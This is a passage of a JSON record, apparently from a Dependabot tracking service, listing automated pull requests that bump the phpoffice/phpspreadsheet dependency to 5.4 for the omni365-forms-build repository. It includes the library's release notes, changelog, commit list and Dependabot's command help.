href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4766\"\u003ePHPOffice/PhpSpreadsheet#4766\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4768\"\u003e#4768\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4768\"\u003ePHPOffice/PhpSpreadsheet#4768\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRowspan in Html. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1319\"\u003e#1319\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1319\"\u003ePHPOffice/PhpSpreadsheet#1319\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4767\"\u003e#4767\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4767\"\u003ePHPOffice/PhpSpreadsheet#4767\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMpdf styling of multi-line strings. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4773\"\u003e#4773\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4773\"\u003ePHPOffice/PhpSpreadsheet#4773\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4775\"\u003e#4775\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4775\"\u003ePHPOffice/PhpSpreadsheet#4775\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2025-11-24 - 5.3.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFormal support for Php8.5.\u003c/li\u003e\n\u003cli\u003eLimited Printarea support for Html/Pdf. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3941\"\u003e#3941\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3941\"\u003ePHPOffice/PhpSpreadsheet#3941\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4711\"\u003e#4711\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4711\"\u003ePHPOffice/PhpSpreadsheet#4711\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/48f2fe37d64c2dece0ef71fb2ac55497566782af\"\u003e\u003ccode\u003e48f2fe3\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4777\"\u003e#4777\u003c/a\u003e from oleibman/changelog20260109\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/79208b34f451a34f1c39a7e84c37bb87ea93b830\"\u003e\u003ccode\u003e79208b3\u003c/code\u003e\u003c/a\u003e Update Changelog For New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/2a60b97508329e93f7e73b0c28666ee54459c572\"\u003e\u003ccode\u003e2a60b97\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4775\"\u003e#4775\u003c/a\u003e from oleibman/issue4773\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/69d337ded7bd94b6dbc80d8f64226461b701337e\"\u003e\u003ccode\u003e69d337d\u003c/code\u003e\u003c/a\u003e Update CHANGELOG.md\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/60d0afd50131792eab570e38e7a1afb1f637556f\"\u003e\u003ccode\u003e60d0afd\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4772\"\u003e#4772\u003c/a\u003e from oleibman/issue606\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/c0b28c45fde1fa884b83abd069c2b3cb5d606fe7\"\u003e\u003ccode\u003ec0b28c4\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into issue606\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/d9a4765bd54f08810f852eb9f67673c5b29024a0\"\u003e\u003ccode\u003ed9a4765\u003c/code\u003e\u003c/a\u003e Update CHANGELOG.md\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/a9d60a10df16a9867f127b5d52b075534803a187\"\u003e\u003ccode\u003ea9d60a1\u003c/code\u003e\u003c/a\u003e Remove Trailing Space\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/53fe59626abefd7a557c750a6bad0f1b9582ec38\"\u003e\u003ccode\u003e53fe596\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into issue4773\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/f3f09bc9a6a335ccfe22690a89c25fe25dc2ecf8\"\u003e\u003ccode\u003ef3f09bc\u003c/code\u003e\u003c/a\u003e Mpdf Styling of Multi-Line Strings\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/5.2.0...5.4.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=5.2.0\u0026new-version=5.4.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/heritage-africa/omni365-forms-build/pull/25","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/heritage-africa%2Fomni365-forms-build/issues/25","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/25/packages"}},{"old_version":"^5.3","new_version":"^5.4","update_type":null,"path":null,"pr_created_at":"2026-01-12T04:29:31.000Z","version_change":"^5.3 → ^5.4","issue":{"uuid":"3802725378","node_id":"PR_kwDOKcX5c868ngE7","number":94,"state":"closed","title":"Update phpoffice/phpspreadsheet requirement from ^5.3 to ^5.4","user":"dependabot[bot]","labels":["dependabot","dependencies"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-03-02T04:22:05.000Z","author_association":null,"state_reason":null,"created_at":"2026-01-12T04:29:31.000Z","updated_at":"2026-03-02T04:22:07.000Z","time_to_close":4233154,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Update","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"^5.3","new_version":"^5.4","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Updates the requirements on [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) to permit the latest version.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.4.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eStore image in cell (Xlsx only). [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4014\"\u003e#4014\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4014\"\u003ePHPOffice/PhpSpreadsheet#4014\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4034\"\u003e#4034\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4034\"\u003ePHPOffice/PhpSpreadsheet#4034\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/913\"\u003e#913\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/913\"\u003ePHPOffice/PhpSpreadsheet#913\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4677\"\u003e#4677\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4677\"\u003ePHPOffice/PhpSpreadsheet#4677\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePassthrough support (with some restrictions) for otherwise unsupported drawing elements. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4037\"\u003e#4037\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4037\"\u003ePHPOffice/PhpSpreadsheet#4037\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4704\"\u003e#4704\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4704\"\u003ePHPOffice/PhpSpreadsheet#4704\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4712\"\u003e#4712\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4712\"\u003ePHPOffice/PhpSpreadsheet#4712\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSet all locale variables at once in a threadsafe manner. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/954\"\u003e#954\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/954\"\u003ePHPOffice/PhpSpreadsheet#954\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4760\"\u003e#4760\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4760\"\u003ePHPOffice/PhpSpreadsheet#4760\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader/Html add ability to suppress warning messages from loadhtml. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/647\"\u003e#647\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/647\"\u003ePHPOffice/PhpSpreadsheet#647\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/849\"\u003e#849\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/849\"\u003ePHPOffice/PhpSpreadsheet#849\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4761\"\u003e#4761\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4761\"\u003ePHPOffice/PhpSpreadsheet#4761\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCode to merge cell base style with table and conditional styles moved from Html Writer to its own class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1058\"\u003e#1058\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1058\"\u003ePHPOffice/PhpSpreadsheet#1058\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4763\"\u003e#4763\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4763\"\u003ePHPOffice/PhpSpreadsheet#4763\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003cli\u003eReader/Html protected property dataArray, described as used only for testing, is not used for testing. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSlightly better support for escaped characters in Xlsx Reader/Writer. [Discussion \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4724\"\u003e#4724\u003c/a\u003e](\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/discussions/4724\"\u003ehttps://github.com/PHPOffice/PhpSpreadsheet/discussions/4724\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4726\"\u003e#4726\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4726\"\u003ePHPOffice/PhpSpreadsheet#4726\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCODE/UNICODE and CHAR/UNICHAR. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4727\"\u003e#4727\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4727\"\u003ePHPOffice/PhpSpreadsheet#4727\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMinor changes to TextGrid. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4735\"\u003e#4735\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4735\"\u003ePHPOffice/PhpSpreadsheet#4735\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4743\"\u003e#4743\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4743\"\u003ePHPOffice/PhpSpreadsheet#4743\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSingle-character table names. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4739\"\u003e#4739\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4739\"\u003ePHPOffice/PhpSpreadsheet#4739\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4740\"\u003e#4740\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4740\"\u003ePHPOffice/PhpSpreadsheet#4740\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImprovements to SORT and SORTBY. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4743\"\u003e#4743\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4743\"\u003ePHPOffice/PhpSpreadsheet#4743\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCoverage-related changes in Shared. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4745\"\u003e#4745\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4745\"\u003ePHPOffice/PhpSpreadsheet#4745\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eListWorksheetInfo improvements for Xlsx and Ods. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3255\"\u003e#3255\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3255\"\u003ePHPOffice/PhpSpreadsheet#3255\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4746\"\u003e#4746\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4746\"\u003ePHPOffice/PhpSpreadsheet#4746\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix functions related to Student-T distribution. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4167\"\u003e#4167\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4167\"\u003ePHPOffice/PhpSpreadsheet#4167\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4748\"\u003e#4748\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4748\"\u003ePHPOffice/PhpSpreadsheet#4748\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix drawing hyperlinks. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/993\"\u003e#993\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/993\"\u003ePHPOffice/PhpSpreadsheet#993\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4764\"\u003e#4764\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4764\"\u003ePHPOffice/PhpSpreadsheet#4764\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix clone spreadsheet with defined names. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4753\"\u003e#4753\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4753\"\u003ePHPOffice/PhpSpreadsheet#4753\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChanges to WEBSERVICE. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMore consistent handling of unsupported functions. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/606\"\u003e#606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/606\"\u003ePHPOffice/PhpSpreadsheet#606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4772\"\u003e#4772\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4772\"\u003ePHPOffice/PhpSpreadsheet#4772\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChart shadow \u003ccode\u003ekx\u003c/code\u003e and \u003ccode\u003eky\u003c/code\u003e. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4770\"\u003e#4770\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4770\"\u003ePHPOffice/PhpSpreadsheet#4770\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSUBTOTAL and hidden rows. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/820\"\u003e#820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/820\"\u003ePHPOffice/PhpSpreadsheet#820\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4765\"\u003e#4765\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4765\"\u003ePHPOffice/PhpSpreadsheet#4765\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix some hyperlink problems. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3889\"\u003e#3889\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3889\"\u003ePHPOffice/PhpSpreadsheet#3889\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2464\"\u003e#2464\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2464\"\u003ePHPOffice/PhpSpreadsheet#2464\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4771\"\u003e#4771\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4771\"\u003ePHPOffice/PhpSpreadsheet#4771\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXls Writer and empty RichText. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/918\"\u003e#918\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/918\"\u003ePHPOffice/PhpSpreadsheet#918\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4769\"\u003e#4769\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4769\"\u003ePHPOffice/PhpSpreadsheet#4769\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStrings that look like huge floating-point numbers. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4766\"\u003e#4766\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4766\"\u003ePHPOffice/PhpSpreadsheet#4766\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4768\"\u003e#4768\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4768\"\u003ePHPOffice/PhpSpreadsheet#4768\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRowspan in Html. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1319\"\u003e#1319\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1319\"\u003ePHPOffice/PhpSpreadsheet#1319\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4767\"\u003e#4767\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4767\"\u003ePHPOffice/PhpSpreadsheet#4767\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMpdf styling of multi-line strings. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4773\"\u003e#4773\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4773\"\u003ePHPOffice/PhpSpreadsheet#4773\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4775\"\u003e#4775\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4775\"\u003ePHPOffice/PhpSpreadsheet#4775\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/master/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-01-10 - 5.4.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eStore image in cell (Xlsx only). [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4014\"\u003e#4014\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4014\"\u003ePHPOffice/PhpSpreadsheet#4014\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4034\"\u003e#4034\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4034\"\u003ePHPOffice/PhpSpreadsheet#4034\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/913\"\u003e#913\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/913\"\u003ePHPOffice/PhpSpreadsheet#913\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4677\"\u003e#4677\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4677\"\u003ePHPOffice/PhpSpreadsheet#4677\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePassthrough support (with some restrictions) for otherwise unsupported drawing elements. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4037\"\u003e#4037\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4037\"\u003ePHPOffice/PhpSpreadsheet#4037\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4704\"\u003e#4704\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4704\"\u003ePHPOffice/PhpSpreadsheet#4704\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4712\"\u003e#4712\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4712\"\u003ePHPOffice/PhpSpreadsheet#4712\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSet all locale variables at once in a threadsafe manner. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/954\"\u003e#954\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/954\"\u003ePHPOffice/PhpSpreadsheet#954\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4760\"\u003e#4760\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4760\"\u003ePHPOffice/PhpSpreadsheet#4760\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader/Html add ability to suppress warning messages from loadhtml. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/647\"\u003e#647\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/647\"\u003ePHPOffice/PhpSpreadsheet#647\u003c/a\u003e) [Issue \u003ca 